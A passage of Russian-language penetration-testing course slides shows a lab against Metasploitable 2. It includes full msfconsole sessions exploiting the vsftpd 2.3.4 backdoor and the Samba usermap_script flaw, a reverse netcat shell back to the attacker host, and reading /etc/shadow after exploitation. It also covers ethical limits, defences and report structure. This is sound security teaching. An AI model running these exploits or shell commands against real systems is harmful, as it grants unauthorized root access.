Версия с известным бэкдором (CVE-2011-2523). Для нашей практики — основная цель.

Подсказка

-sV — version detection
-sC — default scripts
-O — OS detection
-p- — все 65535 портов

Параллельно

Записать вывод в файл: -oA scan-target сохранит nmap-, gnmap-, xml-форматы.

© 2026 Пиков В. А.78 / Модуль 06 · Шаги 1—3
Модуль 06 · Шаги 4—6

Metasploit · поиск и выбор модуля

kali@kali:~$ msfconsole -q msf6 > search vsftpd Matching Modules ================ # Name Disclosure Rank Description - ---- ----------- ----- -------------------------- 0 exploit/unix/ftp/vsftpd_234_backdoorexcellent VSFTPD v2.3.4 Backdoor Command Execution msf6 > use 0 msf6 exploit(vsftpd_234_backdoor) > info Name: VSFTPD v2.3.4 Backdoor Command Execution Module: exploit/unix/ftp/vsftpd_234_backdoor Platform: Unix Arch: cmd Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Description: This module exploits a malicious backdoor that was added to the VSFTPD download archive. msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.20 RHOSTS => 192.168.56.20 msf6 exploit(vsftpd_234_backdoor) > show options
Rank

excellent — стабильный эксплойт, не падает таргет. У Metasploit есть градация: manual → low → average → normal → good → great → excellent.

RHOSTS

Цель эксплуатации. RPORT по умолчанию — 21. Можно указать диапазон, файл с адресами или CIDR.

Payload

У этого модуля payload неинтерактивный — бэкдор открывает шелл на порту 6200 при специальной строке логина.

© 2026 Пиков В. А.79 / Модуль 06 · Шаги 4—6
Модуль 06 · Шаги 7—8

Запуск эксплойта · получение root-шелла

msf6 exploit(vsftpd_234_backdoor) > run [*] 192.168.56.20:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.20:21 - USER: 331 Please specify the password. [+] 192.168.56.20:21 - Backdoor service has been spawned, handling... [+] 192.168.56.20:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.56.10:46893 -> 192.168.56.20:6200) id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux hostname metasploitable
Что произошло

Бэкдор vsftpd 2.3.4 активируется при логине вида «xxx:)». На уязвимой версии открывается командный шелл на порту 6200 с правами root.

Дисциплина

Фиксируем: точное время, команды, скриншот вывода. Это и есть «доказательство компрометации» в отчёте.

Что нельзя

В реальной системе с подобным шеллом — не запускать команды, выходящие за RoE, не читать ПДн, не удалять следы.

© 2026 Пиков В. А.80 / Модуль 06 · Шаги 7—8
Модуль 06 · §10

Постэксплуатация: что можно и что нельзя

В лаборатории — можно

id # подтверждение root uname -a # версия ядра hostname # имя хоста cat /etc/shadow # видим хеши ls -la /var/www # изучаем директории netstat -tnlp # слушающие порты

В реальной работе — нельзя

  • Изменять файлы prod-системы
  • Удалять журналы, отключать защиту
  • Читать ПДн / коммерческую тайну сверх минимально необходимого
  • Выгружать данные за пределы RoE-сети
  • Закрепляться (persistence) без явного разрешения
  • Двигаться дальше периметра, заданного RoE
  • Создавать пользователей и оставлять «тихие» учётки
Главное

Доказали — остановились. Дальше работа защитника, а не атакующего.

© 2026 Пиков В. А.81 / Модуль 06 · §10
Модуль 06 · §11

Меры защиты для владельца атакованной системы

Как должен был выглядеть Metasploitable, чтобы атака не прошла.

Patching

Актуальные версии

vsftpd 2.3.4 — исторический инцидент 2011 г. Все современные версии чисты. Регулярный patch-management.

Service Hardening

Минимизация сервисов

На сервере не должны слушать telnet, rsh, NFS без аутентификации. Принцип «по умолчанию закрыто».

Network

Сегментация и firewall

FTP-сервис не должен быть доступен из произвольной части сети. Сегментация по ролям.

Detection

IDS / IPS

Сигнатуры на специфическую последовательность Metasploit-модуля. NTA / Suricata / Wazuh.

Monitoring

SIEM · хост-агенты

В РФ-практике — MaxPatrol SIEM, Kaspersky KUMA, RuSIEM, Ankey SIEM. На хосте — Wazuh, Kaspersky EDR.

Процесс

Управление уязвимостями

Цикл: discovery → assess → remediate → verify. Регулярно, по календарю, с SLA.

© 2026 Пиков В. А.82 / Модуль 06 · §11
Модуль 06 · §12

Дополнительный сценарий · Samba usermap_script

CVE-2007-2447. Уязвимость в Samba 3.0.20 — 3.0.25rc3. Аналогичный «полный root» сценарий, но с другим стеком.

msf6 > search usermap_script 0 exploit/multi/samba/usermap_scriptexcellent Samba "username map script" Command Execution msf6 > use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) > set RHOSTS 192.168.56.20 msf6 exploit(usermap_script) > set PAYLOAD cmd/unix/reverse_netcat msf6 exploit(usermap_script) > set LHOST 192.168.56.10 msf6 exploit(usermap_script) > run [*] Started reverse TCP handler on 192.168.56.10:4444 [*] Command shell session 2 opened (192.168.56.10:4444 -> 192.168.56.20:54012) id uid=0(root) gid=0(root)
Отличие

Reverse shell

Здесь атакующая машина слушает порт, цель — подключается к ней. Полезно при NAT перед целью.

Уязвимость

Username map script

Параметр Samba не экранировал shell-команды в имени пользователя. Удалённое выполнение команд от имени root.

Учебный смысл

Разные стеки → одна цель

Один и тот же исход (root) достигается разными путями. В отчёте важно показать оба, чтобы заказчик закрыл оба класса.

© 2026 Пиков В. А.83 / Модуль 06 · §12
Модуль 06 · §13

Структура отчёта о практической работе

Раздел 1

Аннотация

Цель работы, объект (Metasploitable 2), использованные инструменты (Kali, nmap, Metasploit).

Раздел 2

Стенд

Гипервизор и его версия, сетевой режим, IP-адреса машин. Скриншоты VM-настроек.

Раздел 3

Разведка

Команды nmap, вывод (или его релевантная часть), интерпретация — какие версии найдены.

Раздел 4

Идентификация уязвимости

CVE, ссылка на БДУ ФСТЭК (если есть), CVSS, описание сути.

Раздел 5

Эксплуатация

Команды msfconsole, скриншоты, момент получения root-шелла.

Раздел 6

Постэксплуатация

Команды id, uname, демонстрация уровня доступа. Письменное обоснование, что в реальной работе нельзя делать дальше.

Раздел 7

Рекомендации

Минимум 3 меры: patching, hardening, мониторинг. Привязка к ФСТЭК/ATT&CK.

Раздел 8

Выводы

Какой урок практического свойства слушатель вынес. Что бы изменил в подходе.

© 2026 Пиков В. А.84 / Модуль 06 · §13
Модуль 06 · §14

Безопасность достигается через понимание атак.
Применяйте знания этично.

Завершите домашнее задание: подготовьте отчёт по сценарию vsftpd ИЛИ Samba; пришлите PDF в учебный портал в течение 7 календарных дней.

Литература

PTES, OWASP WSTG/MASTG, RTFM, методические документы ФСТЭК.

Практика

HackTheBox · TryHackMe · Standoff365 · CTF в формате jeopardy.

Сообщество

RuCTF, конференции PHDays, OFFZONE, ZeroNights, профильные митапы.

© 2026 Пиков В. А.85 / Модуль 06 · §14
Курс повышения квалификации

Спасибо
за внимание

Вопросы, разбор ошибок, индивидуальные консультации — после занятия и в учебном портале.

Преподаватель
Пиков Виталий Александрович
Формат
Очно + практика
Уровень
Входной
Курс
Информационная безопасность